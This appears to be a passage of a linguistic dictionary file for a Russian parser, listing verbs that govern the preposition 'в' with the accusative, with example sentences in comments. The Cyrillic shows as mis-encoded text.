rus_verbs:ะฒะฟัััะฝััั{}, // ะคะพัััะฝะบะฐ ะฒะฟัััะฝัะปะฐ ัะพะฟะปะธะฒะฝัั ัะผะตัั ะฒ ะบะฐะผะตัั ัะณะพัะฐะฝะธั
rus_verbs:ะฒะฟััะณะฐัั{}, // ะฒะฟััะณะฐัั ะปะพัะฐะดั ะฒ ัะตะปะตะณั
rus_verbs:ะฒะฟััะณะฐัััั{}, // ะฒะฟััะณะฐัััั ะฒ ัะฐะฑะพัั
rus_verbs:ะฒะฟัััั{}, // ะฒะฟัััั ะปะพัะฐะดั ะฒ ัะตะปะตะณั
rus_verbs:ะฒะฟัััััั{}, // ะฒะฟัััััั ะฒ ัะฐะฑะพัั
rus_verbs:ะฒะฟััะบะฐัั{}, // ะฒะฟััะบะฐัั ะฟะพัะตัะธัะตะปะตะน ะฒ ะผัะทะตะน
rus_verbs:ะฒะฟััะบะฐัััั{}, // ะฒะฟััะบะฐัััั ะฒ ะฟะพะผะตัะตะฝะธะต
rus_verbs:ะฒะฟัััะธัั{}, // ะฒะฟัััะธัั ะฟะพัะตัะธัะตะปะตะน ะฒ ะผัะทะตะน
rus_verbs:ะฒะฟััะฐัั{}, // ะฒะฟััะฐัั ะบะพะณะพ-ัะพ ะฒะพ ััะพ-ัะพ
rus_verbs:ะฒะฟััะฐัััั{}, // ะฒะฟััะฐัััั ะฒะพ ััะพ-ัะพ
rus_verbs:ะฒะฟัััะฒะฐัั{}, // ะฒะฟัััะฒะฐัั ะบะพะณะพ-ัะพ ะฒะพ ััะพ-ัะพ
rus_verbs:ะฒะฟัััะฒะฐัััั{}, // ะฒะฟัััะฒะฐัััั ะฒะพ ััะพ-ัะพ
rus_verbs:ะฒัะฐะฑะฐััะฒะฐัััั{}, // ะฒัะฐะฑะฐััะฒะฐัััั ะฒ ัะตะถะธะผ
rus_verbs:ะฒัะฐะฑะพัะฐัััั{}, // ะฒัะฐะฑะพัะฐัััั ะฒ ัะตะถะธะผ
rus_verbs:ะฒัะฐััะฐัั{}, // ะฒัะฐััะฐัั ะฒ ะบะพะถั
rus_verbs:ะฒัะฐััะธ{}, // ะฒัะฐััะธ ะฒ ะบะพะถั
ะธะฝัะธะฝะธัะธะฒ:ะฒัะตะทะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะฒัะตะทะฐัั ะทะฐะผะพะบ ะฒ ะดะฒะตัั
ะธะฝัะธะฝะธัะธะฒ:ะฒัะตะทะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะณะปะฐะณะพะป:ะฒัะตะทะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะณะปะฐะณะพะป:ะฒัะตะทะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ะฒัะตะทะฐั{},
ะดะตะตะฟัะธัะฐััะธะต:ะฒัะตะทะฐะฒ{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒัะตะทะฐะฝะฝัะน{},
ะธะฝัะธะฝะธัะธะฒ:ะฒัะตะทะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะฒัะตะทะฐัััั ะฒ ััะตะฝั
ะธะฝัะธะฝะธัะธะฒ:ะฒัะตะทะฐัััั{ ะฒะธะด:ัะพะฒะตัั },
ะณะปะฐะณะพะป:ะฒัะตะทะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ะฒัะตะทะฐััั{},
ะดะตะตะฟัะธัะฐััะธะต:ะฒัะตะทะฐะฒัะธัั{},
rus_verbs:ะฒััะฑะธัั{}, // ะฒััะฑะธัั ะฒ ะฝะฐะณััะทะบั
rus_verbs:ะฒััะฒะฐัััั{}, // ะฒััะฒะฐัััั ะฒ ะทะดะฐะฝะธะต
rus_verbs:ะทะฐะบะฐัะธะฒะฐัั{}, // ะะฐัะพั ะทะฐะบะฐัะธะฒะฐะตั ัะพะฟะปะธะฒะพ ะฒ ะฑะฐะบ
rus_verbs:ะฒะฒะตะทัะธ{}, // ะัะตะดะฟัะธััะธะต ะฒะฒะตะทะปะพ ัะพะฒะฐั ะฒ ัััะฐะฝั
rus_verbs:ะฒะฒะตัััะฐัั{}, // ะะธะทะฐะนะฝะตั ะฒะฒะตัััะฐะป ะฑะปะพะบ ะฒ ัััะฐะฝะธัั
rus_verbs:ะฒะฒะตััััะฒะฐัั{}, // ะะธะทะฐะนะฝะตั ั ัััะดะพะผ ะฒะฒะตััััะฒะฐะตั ะฑะปะพะบะธ ะฒ ัััะฐะฝะธัั
rus_verbs:ะฒะฒะตััััะฒะฐัััั{}, // ะะปะพะบ ััะถะตะปะพ ะฒะฒะตััััะฒะฐะตััั ะฒ ััั ัััะฐะฝะธัั
rus_verbs:ะฒะฒะธะฒะฐัั{}, // ะะตะฝัะธะฝะฐ ะฒะฒะธะฒะฐะตั ะฟะพะปะพัะบั ะฒ ะบะพัั
rus_verbs:ะฒะฒะพะปะฐะบะธะฒะฐัััั{}, // ะะพะนะผะฐะฝะฝะฐั ะผััั ะฒะฒะพะปะฐะบะธะฒะฐะตััั ะบะพัะธะบะพะผ ะฒ ะดะพะผ
rus_verbs:ะฒะฒะพะปะพัั{}, // ะะพั ะฒะฒะพะปะพะบ ะฒ ะดะพะผ ะฟะพะนะผะฐะฝะฝัั ะบัััั
rus_verbs:ะฒะดะตัะณะธะฒะฐัั{}, // ะฟัะธัะฟะพัะพะฑะปะตะฝะธะต ะฒะดะตัะณะธะฒะฐะตั ะฝะธัะบั ะฒ ะธะณะพะปัะฝะพะต ััะบะพ
rus_verbs:ะฒะดะตัะฝััั{}, // ะฟัะธัะฟะพัะพะฑะปะตะฝะธะต ะฒะดะตัะฝัะปะพ ะฝะธัะบั ะฒ ะธะณะพะปัะฝะพะต ััะบะพ
rus_verbs:ะฒะดัะฒะฐัั{}, // ะงะตะปะพะตะบ ะฒะดัะฒะฐะตั ะฒะพะทะดัั
ะฒ ะปะตะณะบะธะต ะฒัะพัะพะณะพ ัะตะปะพะฒะตะบะฐ
rus_verbs:ะฒะดัะฒะฐัััั{}, // ะะพะทะดัั
ะฒะดัะฒะฐะตััั ะฒ ะปะตะณะบะธะต ัะตะปะพะฒะตะบะฐ
rus_verbs:ะฒะปะฐะผัะฒะฐัััั{}, // ะะพะปะธัะธั ะฒะปะฐะผัะฒะฐะตััั ะฒ ะบะฒะฐััะธัั
rus_verbs:ะฒะพะฒะปะตะบะฐัััั{}, // ัััะดะฝัะต ะฟะพะดัะพััะบะธ ะฒะพะฒะปะตะบะฐัััั ะฒ ะทะฐะฝััะธะต ัะฟะพััะพะผ
rus_verbs:ะฒะพะฒะปะตัั{}, // ะฒะพะฒะปะตัั ัััะดะฝัั
ะฟะพะดัะพััะบะพะฒ ะฒ ะทะฐะฝััะธะต ัะฟะพััะพะผ
rus_verbs:ะฒะพะฒะปะตัััั{}, // ะฒะพะฒะปะตัััั ะฒ ะทะฐะฝััะธะต ัะฟะพััะพะผ
rus_verbs:ัะฟัััะธัััั{}, // ัะฟัััะธัััั ะฒ ะฟะพะดะฒะฐะป
rus_verbs:ัะฟััะบะฐัััั{}, // ัะฟััะบะฐัััั ะฒ ะฟะพะดะฒะฐะป
rus_verbs:ะพัะฟัะฐะฒะปััััั{}, // ะพัะฟัะฐะฒะปััััั ะฒ ะดะฐะปัะฝะตะต ะฟะปะฐะฒะฐะฝะธะต
ะธะฝัะธะฝะธัะธะฒ:ัะผะธัะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ะะพะฒะตัั
ะฝะพััั ัะผะธัะธััะตั ัะปะตะบััะพะฝั ะฒ ะฟัะพัััะฐะฝััะฒะพ
ะธะฝัะธะฝะธัะธะฒ:ัะผะธัะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะณะปะฐะณะพะป:ัะผะธัะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะณะปะฐะณะพะป:ัะผะธัะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ัะผะธัะธััั{},
ะดะตะตะฟัะธัะฐััะธะต:ัะผะธัะธัะพะฒะฐะฒ{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะผะธัะธัะพะฒะฐะฒัะธะน{ ะฒะธะด:ะฝะตัะพะฒะตัั },
// ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะผะธัะธัะพะฒะฐะฒัะธะน{ ะฒะธะด:ัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะผะธัะธััััะธะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะผะธัะธััะตะผัะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะผะธัะธัะพะฒะฐะฝะฝัะน{},
ะธะฝัะธะฝะธัะธะฒ:ััะฐะฟะธัะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั}, // ะัะตัััะฟะฝะธะบะฐ ััะฐะฟะธัะพะฒะฐะปะธ ะฒ ะบะพะปะพะฝะธั
ะธะฝัะธะฝะธัะธะฒ:ััะฐะฟะธัะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั},
ะณะปะฐะณะพะป:ััะฐะฟะธัะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะณะปะฐะณะพะป:ััะฐะฟะธัะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั},
ะดะตะตะฟัะธัะฐััะธะต:ััะฐะฟะธััั{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ััะฐะฟะธััะตะผัะน{},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ััะฐะฟะธัะพะฒะฐะฝะฝัะน{},
rus_verbs:ััะฐะฟะธัะพะฒะฐัััั{}, // ะัะตัััะฟะฝะธะบะธ ััะฐะฟะธัััััั ะฒ ะบะพะปะพะฝะธั
rus_verbs:ะฑะฐะปะปะพัะธัะพะฒะฐัััั{}, // ะพะฝะธ ะฑะฐะปะปะพัะธัะพะฒะฐะปะธัั ะฒ ะถััะธ
rus_verbs:ะฑะตะถะฐัั{}, // ะะปะธะณะฐัั
ั ัะตะผัะตะน ะปัะฑะพะฒะฝะธัั ะฑะตะถะฐะป ะฒ ะดััะณัั ัััะฐะฝั
rus_verbs:ะฑัะพัะฐัั{}, // ะะฝะธ ะฑัะพัะฐะปะธ ะฒ ัะพะฝัะฐะฝ ะผะตะดะฝัะต ะผะพะฝะตัะบะธ
rus_verbs:ะฑัะพัะฐัััั{}, // ะะตัะธ ะฑัะพัะฐะปะธัั ะฒ ะฒะพะดั ั ะผะพััะฐ
rus_verbs:ะฑัะพัะธัั{}, // ะะฝ ะฑัะพัะธะป ะฒ ัะพะฝัะฐะฝ ะผะตะดะฝัั ะผะพะฝะตัะบั
rus_verbs:ะฑัะพัะธัััั{}, // ัะฐะผะพัะฑะธะนัะฐ ะฑัะพัะธะปัั ั ะผะพััะฐ ะฒ ะฒะพะดั
rus_verbs:ะฟัะตะฒัะฐัะธัั{}, // ะะฐะนะดะตะฝ ะฑะตะปะพะบ, ะบะพัะพััะน ะฟัะตะฒัะฐัะธั ัะตะปะพะฒะตะบะฐ ะฒ ััะฟะตัะณะตัะพั
rus_verbs:ะฑัะบัะธัะพะฒะฐัั{}, // ะัะบัะธั ะฑัะบัะธััะตั ัะฐะฝะบะตั ะฒ ะฟะพัั
rus_verbs:ะฑัะบัะธัะพะฒะฐัััั{}, // ะกัั
ะพะณััะท ะฑัะบัะธััะตััั ะฒ ะฟะพัั
rus_verbs:ะฒะฑะตะณะฐัั{}, // ะัััะตั ะฒะฑะตะณะฐะตั ะฒ ะดะฒะตัั
rus_verbs:ะฒะฑะตะถะฐัั{}, // ะัััะตั ะฒะฑะตะถะฐะป ะฒ ะดะฒะตัั
rus_verbs:ะฒะฑะตัะพะฝะธัะพะฒะฐัั{}, // ะะฟะพัะฐ ะฑัะปะฐ ะฒะฑะตัะพะฝะธัะพะฒะฐะฝะฐ ะฒ ะฟะพะป
rus_verbs:ะฒะฑะธะฒะฐัั{}, // ะะฐััะตั ะฒะฑะธะฒะฐะตั ััััั ะฒ ะฟะปะธัั
rus_verbs:ะฒะฑะธะฒะฐัััั{}, // ะจัััั ะฒะฑะธะฒะฐะตััั ะฒ ะฟะปะธัั
rus_verbs:ะฒะฑะธัะฐัั{}, // ะะฐัะฐ ะฒะฑะธัะฐะตั ะฒ ัะตะฑั ะฒะปะฐะณั
rus_verbs:ะฒะฑะธัั{}, // ะฃัะตะฝะธะบ ะฒะฑะธะป ะฒ ะดะพัะบั ะผะฐะปะตะฝัะบะธะน ะณะฒะพะทะดั
rus_verbs:ะฒะฑัะฐััะฒะฐัั{}, // ะัะฑะธัั ะฒะฑัะฐััะฒะฐะตั ะผัั ะฒ ะธะณัั
rus_verbs:ะฒะฑัะฐััะฒะฐัััั{}, // ะัั ะฒะฑัะฐััะฒะฐะตััั ะฒ ะธะณัั
rus_verbs:ะฒะฑัะพัะธัั{}, // ะกัะดัั ะฒะฑัะพัะธะป ะผัั ะฒ ะธะณัั
rus_verbs:ะฒะฑััะฐะฒะธัััั{}, // ะกะฒะตัะปะพ ะฒะฑััะฐะฒะธะปะพัั ะฒ ะฑะตัะพะฝ
rus_verbs:ะฒะฑััะฐะฒะปะธะฒะฐัััั{}, // ะกะฒะตัะปะพ ะฒะฑััะฐะฒะปะธะฒะฐะตััั ะฒ ะฑะตัะพะฝ
rus_verbs:ะฒะฑัั
ะธะฒะฐัััั{}, // ะะฝะพะณะพ ะดะตะฝะตะณ ะฒะฑัั
ะธะฒะฐัััั ะฒ ััะพั ะฟัะพะตะบั
rus_verbs:ะฒะฒะฐะปะธะฒะฐัััั{}, // ะงะตะปะพะฒะตะบ ะฒะฒะฐะปะธะฒะฐะตััั ะฒ ะบะฐะฑะธะฝะตั ะฒัะฐัะฐ
rus_verbs:ะฒะฒะฐะปะธัั{}, // ะััะทัะธะบะธ ะฒะฒะฐะปะธะปะธ ะผะตัะพะบ ะฒ ะบะฒะฐััะธัั
rus_verbs:ะฒะฒะฐะปะธัััั{}, // ะงะตะปะพะฒะตะบ ะฒะฒะฐะปะธะปัั ะฒ ะบะฐะฑะธะฝะตั ัะตัะฐะฟะตะฒัะฐ
rus_verbs:ะฒะฒะฐัะธะฒะฐัั{}, // ะ ะพะฑะพั ะฒะฒะฐัะธะฒะฐะตั ะฐัะผะฐัััะธะฝั ะฒ ะฟะปะธัั
rus_verbs:ะฒะฒะฐัะธะฒะฐัััั{}, // ะัะผะฐัััะฐ ะฒะฒะฐัะธะฒะฐะตััั ะฒ ะฟะปะธัั
rus_verbs:ะฒะฒะฐัะธัั{}, // ะ ะพะฑะพั ะฒะฒะฐัะธะป ะฐัะผะฐัััะธะฝั ะฒ ะฟะปะธัั
rus_verbs:ะฒะปะตะทัั{}, // ะัะตะดะฟัะธััะธะต ะฒะฒะตะทะปะพ ัะพะฒะฐั ะฒ ัััะฐะฝั
rus_verbs:ะฒะฒะตัะฝััั{}, // ะะฒะตัะฝะธ ะฝะพะฒัั ะปะฐะผะฟะพัะบั ะฒ ะปััััั
rus_verbs:ะฒะฒะตัะฝััััั{}, // ะะฐะผะฟะพัะบะฐ ะปะตะณะบะพ ะฒะฒะตัะฝัะปะฐัั ะฒ ะฟะฐััะพะฝ
rus_verbs:ะฒะฒะตัััะฒะฐัั{}, // ะญะปะตะบััะธะบ ะฒะฒะตัััะฒะฐะตั ะปะฐะผะฟะพัะบั ะฒ ะฟะฐััะพะฝ
rus_verbs:ะฒะฒะตัััะฒะฐัััั{}, // ะะฐะผะฟะพัะบะฐ ะปะตะณะบะพ ะฒะฒะตัััะฒะฐะตััั ะฒ ะฟะฐััะพะฝ
rus_verbs:ะฒะฒะตัััั{}, // ะะฐัะธะตะฝั ะฒะฒะตััะตั ัะฒะพั ะถะธะทะฝั ะฒ ััะบะธ ะฒัะฐัะฐ
rus_verbs:ะฒะฒะตัััััั{}, // ะะฐัะธะตะฝั ะฒะฒะตััะตััั ะฒ ััะบะธ ะฒัะฐัะฐ
rus_verbs:ะฒะฒะตััะธ{}, // ะะณะตะฝััะฒะพ ะฒะฒะตะปะพ ัะฒะพะตะณะพ ะฟัะตะดััะฐะฒะธัะตะปั ะฒ ัะพะฒะตั ะดะธัะตะบัะพัะพะฒ
rus_verbs:ะฒะฒะธะฒะฐัััั{}, // ะฟะพะปะพัะบะฐ ะฒะฒะธะฒะฐะตััั ะฒ ะบะพัั
rus_verbs:ะฒะฒะธะฝัะธัั{}, // ะัะฒะตััะบะฐ ะฒะฒะธะฝัะธะปะฐ ััััะฟ ะฒ ะดะตัะตะฒะพ
rus_verbs:ะฒะฒะธะฝัะธัััั{}, // ะจัััะฟ ะฒะฒะธะฝัะธะปัั ะฒ ะดะตัะตะฒะพ
rus_verbs:ะฒะฒะธะฝัะธะฒะฐัั{}, // ะ ัะบะฐ ะฒะฒะธะฝัะธะฒะฐะตั ัะฐะผะพัะตะท ะฒ ััะตะฝั
rus_verbs:ะฒะฒะธะฝัะธะฒะฐัััั{}, // ะกะฐะผะพัะตะท ะฒะฒะธะฝัะธะฒะฐะตััั ะฒ ััะตะฝั
rus_verbs:ะฒะฒะพะดะธัั{}, // ะะณะตะฝััะฒะพ ะฒะฒะพะดะธั ัะฒะพะตะณะพ ะฟัะตะดััะฐะฒะธัะตะปั ะฒ ัะพะฒะตั ะดะธัะตะบัะพัะพะฒ
rus_verbs:ะฒะฒะพะดะธัััั{}, // ะัะตะดััะฐะฒะธัะตะปั ะฐะณะตะฝััะฒะฐ ะฒะฒะพะดะธััั ะฒ ัะพะฒะตั ะดะธัะตะบัะพัะพะฒ
// rus_verbs:ะฒะฒะพะทะธัั{}, // ะคะธัะผะฐ ะฒะฒะพะทะธั ะฒ ัััะฐะฝั ััะฐะฝะบะธ ะธ ััััะต
rus_verbs:ะฒะฒะพะทะธัััั{}, // ะกัะฐะฝะบะธ ะธ ััััะต ะฒะฒะพะทัััั ะฒ ัััะฐะฝั
rus_verbs:ะฒะฒะพะปะฐะบะธะฒะฐัั{}, // ะะพะนะผะฐะฝะฝะฐั ะผััั ะฒะฒะพะปะฐะบะธะฒะฐะตััั ะบะพัะธะบะพะผ ะฒ ะดะพะผ
rus_verbs:ะฒะฒะพัะฐัะธะฒะฐัั{}, // ะญะปะตะบััะธะบ ะฒะฒะพัะฐัะธะฒะฐะตั ะฝะพะฒัั ะปะฐะผะฟะพัะบั ะฒ ะฟะฐััะพะฝ
rus_verbs:ะฒะฒะพัะฐัะธะฒะฐัััั{}, // ะะพะฒะฐั ะปะฐะผะฟะพัะบะฐ ะปะตะณะบะพ ะฒะฒะพัะฐัะธะฒะฐะตััั ะฒ ะฟะฐััะพะฝ
rus_verbs:ะฒะฒัะทะฐัััั{}, // ะ ะฐะทะฒะตะดัะพัะฐ ะฒะฒัะทะฐะปะฐัั ะฒ ะฑะพะน
rus_verbs:ะฒะฒัะทัะฒะฐัััั{}, // ะะตัะตะดะพะฒัะต ัะฐััะธ ะฒะฒัะทัะฒะฐัััั ะฒ ะฑะพะน
rus_verbs:ะฒะณะปัะดะตัััั{}, // ะั
ัะฐะฝะฝะธะบ ะฒะณะปัะดะตะปัั ะฒ ัะตะผะฝัะน ะบะพัะธะดะพั
rus_verbs:ะฒะณะปัะดัะฒะฐัััั{}, // ะั
ัะฐะฝะฝะธะบ ะฒะฝะธะผะฐัะตะปัะฝะพ ะฒะณะปัะดัะฒะฐะตััั ะฒ ะผะพะฝะธัะพั
rus_verbs:ะฒะณะพะฝััั{}, // ะญัะฐ ะผัะทัะบะฐ ะฒะณะพะฝัะตั ะผะตะฝั ะฒ ะดะตะฟัะตััะธั
rus_verbs:ะฒะณััะทะฐัััั{}, // ะะพะฝะด ะฒะณััะทะฐะตััั ะฒ ะฟะพะฒะตัั
ะฝะพััั ะฐััะตัะพะธะดะฐ
rus_verbs:ะฒะณััะทัััั{}, // ะะพะฝะด ะฒะณััะทัั ะฒ ะฟะพะฒะตัั
ะฝะพััั ะฐััะตัะพะธะดะฐ
rus_verbs:ะฒะดะฐะฒะฐัััั{}, // ะั ะฝะต ะดะพะปะถะฝั ะฒะดะฐะฒะฐัััั ะฒ ััะธะดะธัะตัะบะธะต ะดะตัะฐะปะธ
rus_verbs:ะฒะดะฒะธะณะฐัั{}, // ะ ะพะฑะพั ะฒะดะฒะธะณะฐะตั ะบะพะฝัะตะนะฝะตั ะฒ ััะตะนะบั
rus_verbs:ะฒะดะฒะธะณะฐัััั{}, // ะะพะฝัะตะนะฝะตั ะฒะดะฒะธะณะฐะตััั ะฒ ััะตะนะบั
rus_verbs:ะฒะดะฒะธะฝััั{}, // ะผะฐะฝะธะฟัะปััะพั ะฒะดะฒะธะฝัะป ะดะตัะฐะปั ะฒ ะฟะตัั
rus_verbs:ะฒะดะฒะธะฝััััั{}, // ะดะตัะฐะปั ะฒะดะฒะธะฝัะปะฐัั ะฒ ะฟะตัั
rus_verbs:ะฒะดะตะฒะฐัั{}, // ะฟะพััะฝะธั
ะฐ ะฑััััะพ ะฒะดะตะฒะฐะตั ะฝะธัะบั ะฒ ะธะณะพะปะบั
rus_verbs:ะฒะดะตะฒะฐัััั{}, // ะฝะธัะบะฐ ะฑััััะพ ะฒะดะตะฒะฐะตััั ะฒ ะธะณะพะปัะฝะพะต ััะบะพ
rus_verbs:ะฒะดะตัั{}, // ะฟะพััะฝะธั
ะฐ ะฑััััะพ ะฒะดะตะปะฐ ะฝะธัะบั ะฒ ะธะณะพะปัะฝะพะต ััะบะพ
rus_verbs:ะฒะดะตัััั{}, // ะฝะธัะบะฐ ะฑััััะพ ะฒะดะตะปะฐัั ะฒ ะธะณะพะปัะฝะพะต ััะบะพ
rus_verbs:ะฒะดะตะปะฐัั{}, // ะผะฐััะตั ะฒะดะตะปะฐะป ัะพะทะตัะบั ะฒ ััะตะฝั
rus_verbs:ะฒะดะตะปัะฒะฐัั{}, // ะผะฐััะตั ะฒะดะตะปัะฒะฐะตั ะฒัะบะปััะฐัะตะปั ะฒ ััะตะฝั
rus_verbs:ะฒะดะตะปัะฒะฐัััั{}, // ะบัะพะฝััะตะนะฝ ะฒะดะตะปัะฒะฐะตััั ะฒ ััะตะฝั
rus_verbs:ะฒะดะตัะณะธะฒะฐัััั{}, // ะฝะธัะบะฐ ะปะตะณะบะพ ะฒะดะตัะณะธะฒะฐะตััั ะฒ ะธะณะพะปัะฝะพะต ััะบะพ
rus_verbs:ะฒะดะตัะฝััััั{}, // ะฝะธัะบะฐ ะปะตะณะบะพ ะฒะดะตัะฝัะปะฐัั ะฒ ะธะณะพะปัะฝะพะต ััะบะพ
rus_verbs:ะฒะดะพะปะฑะธัั{}, // ะะผะตัะธะบะฐะฝัั ะพะฑะตัะฐะปะธ ะฒะดะพะปะฑะธัั ัััะฐะฝั ะฒ ะบะฐะผะตะฝะฝัะน ะฒะตะบ
rus_verbs:ะฒะดัะผัะฒะฐัััั{}, // ะะฐะปััะธะบ ะพะฑััะฝะพ ะฝะต ะฒะดัะผัะฒะฐะปัั ะฒ ััะถะตั ัะธะปัะผะพะฒ
rus_verbs:ะฒะดัั
ะฐัั{}, // ะผั ะฒะดัั
ะฐะตะผ ะฒ ัะตะฑั ะฒะตัั ััะพั ัะผะพะณ
rus_verbs:ะฒะดัั
ะฐัััั{}, // ะะตัั ััะพั ัะผะพะณ ะฒะดัั
ะฐะตััั ะฒ ะปะตะณะบะธะต
rus_verbs:ะฒะตัะฝััั{}, // ะะฝะธะณั ะฝะฐะดะพ ะฒะตัะฝััั ะฒ ะฑะธะฑะปะธะพัะตะบั
rus_verbs:ะฒะตัะฝััััั{}, // ะะตัะธ ะฒะตัะฝัะปะธัั ะฒ ะฑะธะฑะปะธะพัะตะบั
rus_verbs:ะฒะถะฐัััั{}, // ะะพะดะธัะตะปั ะฒะถะฐะปัั ะฒ ะบัะตัะปะพ
rus_verbs:ะฒะถะธะฒะฐัััั{}, // ะะบัะตั ะฒะถะธะฒะฐะตััั ะฒ ะฝะพะฒัั ัะพะปั
rus_verbs:ะฒะถะธะฒะธัั{}, // ะัะฐัะธ ะฒะถะธะฒะธะปะธ ััะธะผัะปััะพั ะฒ ัะตะปะพ ะฟะฐัะธะตะฝัะฐ
rus_verbs:ะฒะถะธะฒะธัััั{}, // ะกัะธะผัะปััะพั ะฒะถะธะฒะธะปัั ะฒ ัะตะปะพ ะฟะฐัะธะตะฝัะฐ
rus_verbs:ะฒะถะธะฒะปััั{}, // ะัะฐัะธ ะฒะถะธะฒะปััั ััะธะผัะปััะพั ะฒ ัะตะปะพ ะฟะฐัะธะตะฝัะฐ
rus_verbs:ะฒะถะธะฒะปััััั{}, // ะกัะธะผัะปััะพั ะฒะถะธะฒะปัะตััั ะฒ ัะตะปะพ
rus_verbs:ะฒะถะธะผะฐัััั{}, // ะะธะดะธัะตะปั ะธะฝััะธะฝะบัะธะฒะฝะพ ะฒะถะธะผะฐะตััั ะฒ ะบัะตัะปะพ
rus_verbs:ะฒะถะธัััั{}, // ะะบัะตั ะฒะถะธะปัั ะฒ ัะฒะพั ะฝะพะฒัั ัะพะปั
rus_verbs:ะฒะทะฒะธะฒะฐัััั{}, // ะะพะทะดััะฝัะน ัะฐัะธะบ ะฒะทะฒะธะฒะฐะตััั ะฒ ะฝะตะฑะพ
rus_verbs:ะฒะทะฒะธะฝัะธัั{}, // ะัะธะทะธั ะฒะทะฒะธะฝัะธะป ัะตะฝั ะฒ ะฝะตะฑะพ
rus_verbs:ะฒะทะฒะธะฝัะธัััั{}, // ะฆะตะฝั ะฒะทะฒะธะฝัะธะปะธัั ะฒ ะฝะตะฑะพ
rus_verbs:ะฒะทะฒะธะฝัะธะฒะฐัั{}, // ะัะธะทะธั ะฒะทะฒะธะฝัะธะฒะฐะตั ัะตะฝั ะฒ ะฝะตะฑะพ
rus_verbs:ะฒะทะฒะธะฝัะธะฒะฐัััั{}, // ะฆะตะฝั ะฒะทะฒะธะฝัะธะฒะฐัััั ะฒ ะฝะตะฑะพ
rus_verbs:ะฒะทะฒะธัััั{}, // ะจะฐัะธะบะธ ะฒะทะฒะธะปะธัั ะฒ ะฝะตะฑะพ
rus_verbs:ะฒะทะปะตัะฐัั{}, // ะญะบัะฟะตัะธะผะตะฝัะฐะปัะฝัะน ะฐะฟะฟะฐัะฐั ะฒะทะปะตัะฐะตั ะฒ ะฒะพะทะดัั
rus_verbs:ะฒะทะปะตัะตัั{}, // ะญะบัะฟะตัะธะผะตะฝัะฐะปัะฝัะน ะฐะฟะฟะฐัะฐั ะฒะทะปะตัะตะป ะฒ ะฝะตะฑะพ
rus_verbs:ะฒะทะผัะฒะฐัั{}, // ัะฐัะธะบะธ ะฒะทะผัะฒะฐัั ะฒ ะฝะตะฑะพ
rus_verbs:ะฒะทะผััั{}, // ะจะฐัะธะบะธ ะฒะทะผัะปะธ ะฒ ะฝะตะฑะพ
rus_verbs:ะฒะธะปัะฝััั{}, // ะะฐัะธะฝะฐ ะฒะธะปัะฝัะปะฐ ะฒ ะปะตะฒัั ััะพัะพะฝั
rus_verbs:ะฒะบะฐะปัะฒะฐัั{}, // ะะตะดัะตัััะฐ ะฒะบะฐะปัะฒะฐะตั ะธะณะปั ะฒ ะฒะตะฝั
rus_verbs:ะฒะบะฐะปัะฒะฐัััั{}, // ะะณะปะฐ ะฒะบะฐะปัะฒะฐัััั ะฟััะผะพ ะฒ ะฒะตะฝั
rus_verbs:ะฒะบะฐะฟัะฒะฐัั{}, // ัะฐะฑะพัะธะน ะฒะบะฐะฟัะฒะฐะตั ัะฒะฐั ะฒ ะทะตะผะปั
rus_verbs:ะฒะบะฐะฟัะฒะฐัััั{}, // ะกะฒะฐั ะฒะบะฐะฟัะฒะฐะตััั ะฒ ะทะตะผะปั
rus_verbs:ะฒะบะฐัะธัั{}, // ัะฐะฑะพัะธะต ะฒะบะฐัะธะปะธ ะฑะพัะบั ะฒ ะณะฐัะฐะถ
rus_verbs:ะฒะบะฐัะธัััั{}, // ะผะฐัะธะฝะฐ ะฒะบะฐัะธะปะฐัั ะฒ ะณะฐัะฐะถ
rus_verbs:ะฒะบะฐััะฒะฐัั{}, // ัะฐะฑะพัะธะบ ะฒะบะฐััะฒะฐัั ะฑะพัะบั ะฒ ะณะฐัะฐะถ
rus_verbs:ะฒะบะฐััะฒะฐัััั{}, // ะผะฐัะธะฝะฐ ะฒะบะฐััะฒะฐะตััั ะฒ ะณะฐัะฐะถ
rus_verbs:ะฒะบะฐัะฐัั{}, // ะะตั
ะฐะฝะธะบะธ ะฒะบะฐัะฐะปะธ ะฒ ะฑะฐะบ ะผะฝะพะณะพ ัะพะฟะปะธะฒะฐ
rus_verbs:ะฒะบะฐัะธะฒะฐัั{}, // ะะฐัะพั ะฒะบะฐัะธะฒะฐะตั ัะพะฟะปะธะฒะพ ะฒ ะฑะฐะบ
rus_verbs:ะฒะบะฐัะธะฒะฐัััั{}, // ะขะพะฟะปะธะฒะพ ะฒะบะฐัะธะฒะฐะตััั ะฒ ะฑะฐะบ
rus_verbs:ะฒะบะธะดะฐัั{}, // ะะฐะฝะธะฟัะปััะพั ะฒะบะธะดะฐะป ะณััะท ะฒ ะบะพะฝัะตะนะฝะตั
rus_verbs:ะฒะบะธะดัะฒะฐัั{}, // ะะฐะฝะธะฟัะปััะพั ะฒะบะธะดัะฒะฐะตั ะณััะท ะฒ ะบะพะฝัะตะนะฝะตั
